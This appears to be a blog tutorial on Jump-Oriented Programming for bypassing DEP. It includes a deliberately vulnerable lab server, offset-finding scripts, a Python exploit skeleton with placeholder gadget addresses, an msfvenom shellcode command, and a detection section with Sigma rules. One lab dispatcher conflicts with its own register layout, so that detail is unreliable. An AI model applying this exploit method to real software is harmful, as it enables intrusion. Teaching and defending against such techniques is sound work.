Jump-Oriented Programming (JOP): Dispatcher Gadgets and Functional Chains

By Debraj Basak·Aug 13, 2026·19 min readExploit Development

You have RIP control on a DEP-protected target. The stack is non-executable, so your injected shellcode is dead weight. Return-Oriented Programming is the reflex answer, but suppose the EDR on that box counts ret frequency and stack-pointer churn, or the binary shipped with a shadow stack that shreds any ROP chain the moment the first gadget returns. ROP is off the table. JOP is what you reach for next: a code-reuse technique that never touches ret and never lets the stack drive control flow.

Objective: Understand how Jump-Oriented Programming replaces the RET-driven control flow of ROP with a register-held dispatch table and a dispatcher gadget, learn the canonical gadget taxonomy, build a working JOP chain against an intentionally vulnerable lab server to bypass DEP, and see exactly how defenders catch it with hardware telemetry, ETW, and Intel CET.


1. Code-Reuse Attacks: From ret2libc to ROP to JOP

DEP (NX) killed the classic jmp esp into stack shellcode. Mark the stack and heap non-executable and injected code simply faults on the first byte. The attacker response was to stop injecting code and start reusing code that is already mapped executable.

ret2libc came first: overwrite the saved return address with the address of a libc function like system, stack the arguments behind it, let the epilogue do the call. ROP generalized that into Turing-complete computation by chaining short instruction sequences that each end in ret. The stack becomes a program: the stack pointer is the instruction pointer, and every ret pops the next gadget address.

That reliance on ret and the stack is exactly the weakness defenders learned to exploit. Shadow stacks, ret-frequency heuristics, stack-pivot detection, canary checks: nearly every anti-ROP control keys on the stack or the return instruction.

JOP is the evolution that sidesteps all of it. Bletsch et al. defined it at AsiaCCS 2011 as a code-reuse attack that abandons ret entirely and chains gadgets ending in indirect branches (jmp reg, call reg, jmp [reg]) instead. Because almost every known ROP defense depends on ret or the stack, most of them are structurally blind to a well-built JOP chain. That is the whole point.


2. The Stack vs. The Dispatch Table: JOP’s Architectural Divergence

ROP has a natural chaining mechanism baked into the hardware. ret pops an address off the stack and jumps to it, so stacking gadget addresses is enough. jmp has no such convenience. A raw jmp reg jumps once and there is nothing that advances to the next gadget. That is the core chaining problem JOP has to solve.

The solution is a dispatcher gadget plus a dispatch table. Instead of the stack pointer walking a list of return addresses, a general-purpose register walks a table of functional gadget addresses that lives in ordinary read/write memory. Every functional gadget, after doing its work, jumps back to the dispatcher. The dispatcher advances the table pointer by one slot and jumps to whatever address that slot now holds.

Register / StructureRole
Dispatch Table (DT)Array of functional gadget addresses in any RW memory (heap, BSS, sprayed region). ROP’s equivalent is tied to the stack; JOP’s is not.
DT RegisterRegister holding the current position in the dispatch table (the JOP program counter).
DG RegisterRegister holding the address of the dispatcher gadget. Every functional gadget jumps or calls through this.
Dispatch RegistersThe DT and DG registers plus any scratch the dispatcher touches. These must be protected from clobbering across the whole chain.

So ROP rides ESP and ret. JOP rides, say, ESI (DT) and ECX (DG) and never returns. The stack is still there and you will use it later to marshal WinAPI arguments, but it is no longer steering control flow.


Diagram showing JOP dispatcher gadget looping between functional gadgets via ESI dispatch table and ECX DG register, with the stack marked as inert
In JOP, a register-held dispatch table and a dispatcher gadget replace the stack as the control-flow engine; the stack carries data but never drives execution.

3. JOP Gadget Taxonomy: Dispatcher, Functional, Initiator, and Delay Gadgets

Use the canonical vocabulary. These names come from Bletsch et al. and the JOP ROCKET research, and mixing them up will confuse anyone reading your chain.

Gadget TypeDescription
Dispatcher Gadget (DG)Advances the DT pointer predictably and dereferences the result to jump to the next functional gadget. Classic x86 form: add ecx, 4 ; jmp [ecx].
Functional GadgetEnds with an indirect jump or call rather than ret. Performs the actual work: load, store, arithmetic, WinAPI setup.
Initiator / Trampoline GadgetBootstraps the chain, loading registers and jumping into the first functional gadget.
Dispatch Table (DT)Memory array of functional gadget addresses walked by the dispatcher.
Delay GadgetA no-op-ish gadget inserted between real gadgets to smear branch-frequency signatures and evade detection.
Two-Gadget DispatcherSplits the advance and the dereference-jump across two cooperating gadgets, expanding the usable gadget surface.

The dispatcher is the heart of the machine, so its requirements are strict. It must atomically advance the DT register and then dereference-and-jump. The canonical single-gadget forms:

; x64 dispatcher: advance table pointer by 8, jump to slot contents
add rax, 8
jmp [rax]

; x86 dispatcher: advance by 4
add ecx, 4
jmp [ecx]

Keep it short. Every instruction between the add and the indirect branch is a chance to clobber a dispatch register. A dispatcher that trashes ESI (your DT register) between the advance and the jump is worthless. The USD gadget-analysis heuristic is blunt: the more registers touched in that window, the lower the candidate’s quality.

Functional gadgets have two hard requirements. First, do something useful. Second, end with jmp <DG_reg> or call <DG_reg> and do not corrupt the dispatch registers on the way out. A gadget that loads EAX from a pointer and then jumps back to the dispatcher is a keeper:

; functional gadget: load a value, return control to dispatcher in ecx
mov eax, [edx]
jmp ecx

One discovery technique worth internalizing: opcode splitting. x86 is a variable-length, unaligned ISA, so you can jump into the middle of an intended instruction and the CPU decodes a completely different sequence. A 5-byte mov might contain a valid jmp [ecx] two bytes in. Gadget finders scan every byte offset for exactly this reason, and JOP’s usable gadget pool is dominated by these unintended sequences.


4. The Dispatcher Loop: How a JOP Chain Executes

Once primed, the whole thing is a loop driven by the dispatcher. The stack contributes nothing to control flow after the initial bootstrap.

[Initiator]
     |
     v
[Dispatcher Gadget] --advance DT ptr--> jmp [DT_reg]
     ^                                       |
     |                                       v
     +----- jmp DG_reg ----- [Functional Gadget 1]
     |                                       |
     |            (dispatcher advances)      v
     +----- jmp DG_reg ----- [Functional Gadget 2]
     |                                       |
     ...                                    ...
     +----- jmp DG_reg ----- [Functional Gadget N: call VirtualAlloc]
                                             |
                                             v
                                   [Shellcode / WinAPI result]

Trace one iteration on x86 with ECX = DG register and ESI = DT register:

  1. Control is inside a functional gadget. Its last instruction is jmp ecx.
  2. ECX points at the dispatcher: add esi, 4 ; jmp [esi]. Wait, note the dispatcher advances the DT register, which in this layout is ESI. ECX holds the dispatcher address so functional gadgets can reach it.
  3. Dispatcher runs add esi, 4, moving the DT pointer to the next slot.
  4. Dispatcher runs jmp [esi], dereferencing that slot and jumping into the next functional gadget.
  5. That gadget does its work and ends in jmp ecx, closing the loop.

The dispatch table is just an array of gadget addresses; advancing ESI by 4 each pass steps through them in order. Reorder the table and you reorder the program. That flexibility, sitting in plain RW memory instead of on the stack, is JOP’s defining property.


Step-by-step flow diagram of a JOP chain: initiator loads registers, dispatcher advances ESI and jumps each functional gadget in sequence, ending at shellcode
Each dispatcher iteration advances ESI by four bytes and jumps the next functional gadget; the loop closes when every gadget returns control to ECX, the dispatcher address.

5. Gadget Discovery with JOP ROCKET and ROPgadget

The purpose-built tool for Windows JOP is JOP ROCKET (Brizendine and Babcock), a Python program built on the Capstone disassembly engine that finds dispatchers, classifies functional gadgets, and can emit full chains.

Run it against the target binary and any modules loaded without ASLR:

:: enumerate dispatcher candidates in the target and a classic non-ASLR module
python JOP_ROCKET.py --find-dispatcher --binary jop_vuln_server.exe
python JOP_ROCKET.py --find-dispatcher --module msvcrt.dll

:: classify functional gadgets by operation (load/store/arith/call)
python JOP_ROCKET.py --find-functional --module msvcrt.dll

Representative (trimmed) output you are looking for:

[+] Dispatcher candidates (msvcrt.dll):
    0x77c21a0e   add ecx, 4 ; jmp dword [ecx]      (clobbers: none)   QUALITY: high
    0x77c3b512   add esi, 8 ; jmp dword [esi]      (clobbers: eax)    QUALITY: med

[+] Functional gadgets:
    [load]   0x77c1f2a1   mov eax, [edx] ; jmp ecx
    [store]  0x77c40b73   mov [edi], eax ; jmp ecx
    [arith]  0x77c2ccd0   add eax, ebx ; jmp ecx
    [call]   0x77c55e10   call [ebp+0x8] ; jmp ecx

The QUALITY and clobbers fields are what matter. A dispatcher that clobbers EAX between advance and jump is only usable if nothing in your chain relies on EAX surviving the dispatcher. Filter aggressively.

Cross-check with a general-purpose finder. ROPgadget will surface raw jmp reg and jmp [reg] sequences and dispatcher-shaped combinations:

# raw indirect jumps through a register-held pointer
ROPgadget --binary msvcrt.dll --jmp | grep "jmp \[e"

# dispatcher-shaped candidates: an add followed by an indirect jump
ROPgadget --binary msvcrt.dll --filter "add.*jmp"

xgadget is the fast, multi-threaded alternative if you are scanning large module sets and it handles both ROP and JOP output. Whatever you use, the workflow is the same: find one clean dispatcher, then collect functional gadgets that cover load, store, arithmetic, and a call primitive, all ending in a jump back through your chosen DG register.


6. Lab: Building a JOP Chain to Bypass DEP, Step by Step

The target

Build the intentionally vulnerable server. It has a fixed 512-byte buffer and a recv that reads up to 2048 bytes straight into it. Classic stack overflow, GS off, DEP on, ASLR off for the lab so addresses stay fixed.

// jop_vuln_server.c  -- LAB TARGET ONLY, intentionally vulnerable
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

void vuln_recv(SOCKET s) {
    char buf[512];                  // fixed buffer
    int n = recv(s, buf, 2048, 0);  // oversized recv -> overflow
    printf("Received %d bytes\n", n);
}

int main() {
    WSADATA w; WSAStartup(MAKEWORD(2,2), &w);
    SOCKET srv = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr = {AF_INET, htons(9999), {INADDR_ANY}};
    bind(srv, (struct sockaddr*)&addr, sizeof(addr));
    listen(srv, 1);
    SOCKET cl = accept(srv, NULL, NULL);
    vuln_recv(cl);
    closesocket(cl); closesocket(srv);
    WSACleanup();
}

Compile for 32-bit x86 with GS off, DEP on, ASLR off:

cl /GS- /Zi /Od jop_vuln_server.c /link /NXCOMPAT /DYNAMICBASE:NO

Step 1: Crash recon

Send a cyclic pattern and read the faulting EIP.

# crash_recon.py -- send a De Bruijn pattern to locate the EIP offset
import socket
# msf-pattern_create -l 2048  produces the pattern; paste it here
pattern = b"Aa0Aa1Aa2Aa3...."   # De Bruijn sequence, 2048 bytes
s = socket.socket(); s.connect(("127.0.0.1", 9999))
s.send(pattern); s.close()

Attach WinDbg to the server, let it crash, and read the faulting instruction pointer:

0:000> !analyze -v
0:000> r eip
eip=37674136

Resolve the offset:

msf-pattern_offset -q 37674136
# [*] Exact match at offset 524

Step 2: Confirm EIP control

offset  = 524
payload = b"A" * offset + b"B" * 4     # EIP should become 0x42424242

In WinDbg after the crash: r eip returns 42424242. You own the instruction pointer. Everything from here is arranging what it points to.

Step 3: Gadget discovery

Run JOP ROCKET and ROPgadget against the target and msvcrt.dll (loaded, no ASLR in this lab). Collect:

  • one clean dispatcher, e.g. add ecx, 4 ; jmp [ecx],
  • two pop reg ; ret gadgets to prime the dispatch registers,
  • functional gadgets that set up and call VirtualAlloc (or VirtualProtect),
  • a gadget that transfers control to the freshly RWX region.

Record the resolved addresses. In the exploit below they appear as placeholders because they are build-specific; fill them from your own scan output.

Step 4: Prime the dispatch registers (the permitted ROP bootstrap)

JOP needs the DG register and the DT register loaded before the loop can spin. You could do that with JOP, but the pragmatic move, and the one in the JOP ROCKET methodology, is two pop ROP gadgets. That is the entire ROP footprint. After this, not one more ret.

Payload layout (x86):
[ 524 bytes padding                                    ]
[ pop ecx ; ret       ]  <- load DG register (ECX = dispatcher addr)
[ addr of dispatcher  ]  <- value popped into ECX
[ pop esi ; ret       ]  <- load DT register (ESI = dispatch table addr)
[ addr of dispatch_tbl]  <- value popped into ESI
[ initiator gadget    ]  <- jmp into the first functional gadget

Step 5: Construct the dispatch table

The dispatch table is a flat array of functional gadget addresses. Place it in a predictable RW region (fixed BSS or a heap spray). Each slot is one gadget; the dispatcher walks them in order.

import struct
p32 = lambda x: struct.pack("<I", x)

# Resolved from your gadget scan:
DISP_GADGET    = 0x00000000  # add ecx, 4 ; jmp [ecx]
FG_SETUP_ARG1  = 0x00000000  # stage VirtualAlloc arg (lpAddress/size)
FG_SETUP_ARG2  = 0x00000000  # stage VirtualAlloc arg (flAllocationType/protect)
FG_CALL_VALLOC = 0x00000000  # call VirtualAlloc ; jmp ecx
FG_COPY_SC     = 0x00000000  # copy shellcode into the RWX region
FG_JMP_SC      = 0x00000000  # transfer control to shellcode

dispatch_table = (p32(FG_SETUP_ARG1) + p32(FG_SETUP_ARG2) +
                  p32(FG_CALL_VALLOC) + p32(FG_COPY_SC) + p32(FG_JMP_SC))

Step 6: Full exploit and code execution

Generate lab shellcode first, null-free:

msfvenom -p windows/exec CMD=calc.exe -f python -b "\x00\x0a\x0d"

Then assemble the payload. The overflow drops into the two ROP bootstrap gadgets, which load ECX and ESI, then hands off to the initiator, which jumps into the JOP loop.

import socket, struct
p32 = lambda x: struct.pack("<I", x)

# --- resolved addresses (lab build, no ASLR) ---
POP_ECX_RET = 0x00000000   # pop ecx ; ret   (loads DG register)
POP_ESI_RET = 0x00000000   # pop esi ; ret   (loads DT register)
DISP_GADGET = 0x00000000   # add ecx, 4 ; jmp [ecx]
DT_ADDR     = 0x00000000   # writable region holding dispatch_table
INITIATOR   = 0x00000000   # first functional gadget entry

# --- lab shellcode (msfvenom windows/exec calc.exe, null-free) ---
shellcode = b"\x90" * 16 + b"<msfvenom output bytes here>"

offset  = 524
payload  = b"A" * offset
payload += p32(POP_ECX_RET)   # ROP bootstrap 1
payload += p32(DISP_GADGET)   # -> ECX = dispatcher address
payload += p32(POP_ESI_RET)   # ROP bootstrap 2
payload += p32(DT_ADDR)       # -> ESI = dispatch table base
payload += p32(INITIATOR)     # jump into the JOP chain
# dispatch_table and shellcode are pre-placed at DT_ADDR
# (fixed BSS in this lab, or a heap spray in a hardened target)

s = socket.socket(); s.connect(("127.0.0.1", 9999))
s.send(payload); s.close()
print("[*] Payload sent -- watch for calc.exe")

Step 7: Verify in WinDbg

Confirm the machine is actually running the way you designed it: the DT register advancing by 4 each pass, the stack pointer static.

0:000> bp 0x00000000        ; breakpoint on DISP_GADGET
0:000> g
0:000> dd esi               ; DT pointer -- note the value
0:000> t                    ; step: add esi,4 ; jmp [esi]
0:000> dd esi               ; DT pointer advanced by 4
0:000> !address esp         ; ESP unchanged -- stack is NOT driving control flow

Each time you hit the dispatcher breakpoint, ESI is 4 higher and ESP has not moved. That is the whole thesis of JOP in front of you: the stack is inert, a register walks the table, and DEP never fired because you never executed data as code until the final RWX hand-off.


7. Shellcode-less JOP: Calling WinAPI Directly

You can make the attack DEP-proof end to end by never allocating executable memory at all. Instead of VirtualAlloc(RWX) -> copy -> jump, the functional chain marshals arguments onto the stack and calls a Win32 API directly. WinExec("calc.exe", SW_SHOW) is the classic demonstration: one API, two arguments, no shellcode.

The functional gadgets stage the argument frame (still using the stack as data, which DEP permits), then a call [reg]-terminated gadget invokes the import. Because no page is ever both attacker-written and executable, there is nothing for DEP to catch and nothing for Arbitrary Code Guard to block. This is why JOP ROCKET emphasizes shellcode-less chains: against ACG-hardened processes like Edge content processes, the RWX route is dead and return-to-WinAPI is the only path left.


8. Novel Dispatcher Variants: Two-Gadget Dispatchers and CFI-Resistant Gadgets

The single-gadget dispatcher add reg, N ; jmp [reg] is elegant but sometimes it just is not present in your available modules. The two-gadget dispatcher (Brizendine and Babcock, 2021) splits the job: one gadget advances the DT index, a cooperating gadget performs the dereference-and-jump. Neither alone looks like a dispatcher, so the technique dramatically widens the pool of viable chains in binaries that lack a clean single-gadget form.

Control Flow Integrity changes the discovery game. Intel CET IBT requires an ENDBR32/ENDBR64 marker at every legal indirect-branch target and raises a control-protection fault (#CP) on any indirect jmp/call that lands somewhere else. Under IBT, your functional gadgets can only start at ENDBR-prefixed addresses, which shrinks the surface enormously. Attackers respond by hunting for CFI-resistant gadgets: useful sequences that happen to sit right after a legitimate ENDBR marker. IBT limits JOP but does not eliminate it, because any function entry point CFI blesses is a legal landing zone, and some of those entry points do useful work before their first branch.


9. Common Attacker Techniques

TechniqueDescription
Dispatcher paradigmRegister-held dispatch table walked by a single dispatcher gadget; the standard full JOP chain.
BYOPJ (Bring Your Own Pop-Jump)Chain pop X ; jmp X sequences to load and jump per gadget (Checkoway and Shacham).
Two-gadget dispatcherSplit advance and dereference-jump across two gadgets to expand the usable gadget pool.
Delay gadget insertionInterleave no-op-style gadgets to smear indirect-branch frequency and dodge heuristics.
Shellcode-less return-to-WinAPIMarshal args and call an import (WinExec, VirtualProtect) with no injected code, defeating ACG.
Opcode splittingDecode unintended gadgets from mid-instruction byte offsets to grow the gadget set.

The reason any of this is worth an attacker’s effort is stated plainly in the literature: JOP abandons ret and the stack for control flow, and nearly every ROP defense keys on exactly those two things. A complete JOP exploit can be built without a single ROP gadget beyond the two-pop bootstrap.


10. Defensive Strategies & Detection

JOP defeats stack- and ret-centric controls, so detection moves down to the hardware and out to behavior.

Hardware and OS mitigations

MitigationMechanismJOP Relevance
Intel CET IBTENDBR32/64 required at valid indirect targets; #CP on violationConstrains functional gadget targets to ENDBR-prefixed locations, shrinking the surface hard
Intel CET Shadow StackHardware-enforced parallel return-address stackBlocks ROP; does not block jmp-based JOP
Windows CFGBitmap of valid indirect call targets checked via __guard_check_icall_fptrConstrains call-terminated gadgets; jmp-terminated gadgets may slip past older CFG
DEP / NXNon-executable stack and heapJOP bypasses it entirely; DEP is the reason JOP exists
ACGBlocks dynamic code generation (RWX allocation)Forces shellcode-less return-to-WinAPI chains

Hardware telemetry

Intel LBR (Last Branch Record) and PMU counters are the sharpest JOP signal. An abnormally high rate of indirect branches (jmp [reg]) with no intervening ret is a strong heuristic. Track BR_MISP_EXEC.ALL_BRANCHES and indirect-call counters; code-reuse payloads push branch misprediction rates outside normal application envelopes.

Sysmon and ETW

Event IDNameJOP Relevance
Sysmon EID 1Process CreateChild process from a network-facing service (calc from a listener)
Sysmon EID 8CreateRemoteThreadPost-exploitation cross-process injection
Sysmon EID 10ProcessAccessSuspicious OpenProcess with PROCESS_VM_WRITE
Sysmon EID 17/18Pipe Created/ConnectedC2 comms after payload execution

Microsoft-Windows-Threat-Intelligence (ETWTI) hooks VirtualAllocEx, WriteProcessMemory, and ProtectVirtualMemory at kernel level and flags PAGE_EXECUTE_READWRITE allocations from user space, which catches the RWX flavor of JOP even when the chain itself is invisible. Subscribing requires PPL or a kernel driver. Microsoft-Windows-Kernel-Process tracks executable memory events, and Microsoft-Windows-Security-Auditing EID 4688 covers downstream process creation with command line.

Sigma

Behavioral outcome rule, network service spawning a shell:

title: Suspicious Child Process from JOP-Vulnerable Network Service
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 1
    ParentImage|endswith:
      - '\jop_vuln_server.exe'
    Image|endswith:
      - '\calc.exe'
      - '\cmd.exe'
      - '\powershell.exe'
  condition: selection
level: high

Memory-access rule for post-exploitation injection:

title: Full-Access Process Handle to LSASS Post-Exploitation
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 10
    GrantedAccess: '0x1fffff'      # PROCESS_ALL_ACCESS
    TargetImage|endswith: '\lsass.exe'
  condition: selection
level: high

Hardening, ordered by impact

  1. Enable Intel CET (IBT + Shadow Stack) on Windows 11 with 11th-gen Intel or AMD Zen 3+; set via SetProcessMitigationPolicy(ProcessUserShadowStackPolicy) and ProcessDynamicCodePolicy.
  2. Enable CFG with /guard:cf and ensure every loaded module is CFG-aware.
  3. Enable ACG via ProcessDynamicCodePolicy to kill RWX allocation, forcing shellcode-less chains only.
  4. Keep DEP always-on (/NXCOMPAT, BCDEdit /set nx AlwaysOn).
  5. Deploy EDR with PMU/LBR integration for indirect-branch anomaly telemetry.
  6. Trim the module load surface so fewer DLLs means fewer gadgets.

Hierarchy diagram of JOP defense layers: Intel CET IBT and shadow stack at hardware level, CFG and ACG at OS level, PMU LBR telemetry, ETWTI hooks, and Sysmon behavioral events
Effective JOP detection requires layered controls from hardware CET constraints down to behavioral Sysmon rules, since no single layer covers the full attack surface.

11. Tools for JOP Analysis

ToolDescriptionLink
JOP ROCKETCapstone-based Python tool that finds dispatchers, classifies functional gadgets, and builds Windows JOP chainsgithub.com/Bw3ll/JOP_ROCKET
ROPgadgetGeneral gadget finder; surfaces jmp reg / jmp [reg] and dispatcher-shaped sequencesgithub.com
xgadgetFast multi-threaded ROP/JOP gadget discoverydocs.rs
CapstoneDisassembly engine underpinning gadget identificationcapstone-engine.org
WinDbgDynamic tracing of the dispatch loop and DT register advancemicrosoft.com
pwndbgGDB plugin for pattern generation and offset discoverygithub.com
nasmAssembling stub payloads for the lab targetnasm.us
msfvenomShellcode generation with bad-char avoidancemetasploit.com

12. MITRE ATT&CK Mapping

ATT&CK does not model JOP as its own technique. It is an exploitation mechanism for achieving code execution despite DEP and CFG, not a standalone tactic, so map it by what the chain accomplishes rather than forcing a single ID.

TechniqueMITRE IDDetection
Exploitation for Client ExecutionT1203Crash telemetry, exploit-guard events on the vulnerable client
Exploitation for Defense EvasionT1211PMU/LBR indirect-branch anomalies; CET #CP faults
Process InjectionT1055Sysmon EID 8/10; ETWTI on WriteProcessMemory
Impair Defenses: Downgrade AttackT1562.010Config auditing of CET/CFG mitigation policy state

The most defensible primary mappings are T1203 for the exploitation trigger and T1211 for the DEP-bypass-via-code-reuse. Defensive coverage lands on M1050 (Exploit Protection: CET, CFG, DEP) and M1040 (Behavior Prevention on Endpoint: EDR with PMU telemetry). Do not cite one T-ID as “the JOP technique.”


Summary

  • JOP is code reuse without ret or the stack, driven by a dispatcher gadget that walks a register-held dispatch table. That single architectural choice makes almost every ROP defense structurally blind to it.
  • The canonical vocabulary matters: dispatcher gadget (add reg, N ; jmp [reg]), functional gadgets ending in jmp/call reg, the dispatch table in RW memory, and the DT/DG dispatch registers that must survive the whole chain.
  • A practical Windows chain uses a two-pop ROP bootstrap to prime the DG and DT registers, then loops functional gadgets to call VirtualAlloc/VirtualProtect or, for full DEP-proofing, calls a WinAPI directly with no shellcode at all.
  • Detection moves to hardware and behavior: LBR/PMU indirect-branch anomalies, ETWTI on executable-memory allocation, and Sysmon EID 1/8/10 for the downstream outcome.
  • Intel CET IBT and shadow stack, CFG, and ACG are the real countermeasures. IBT shrinks the functional gadget surface to ENDBR-prefixed targets; the shadow stack stops ROP but not JOP; ACG forces shellcode-less chains. Layer them.

Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.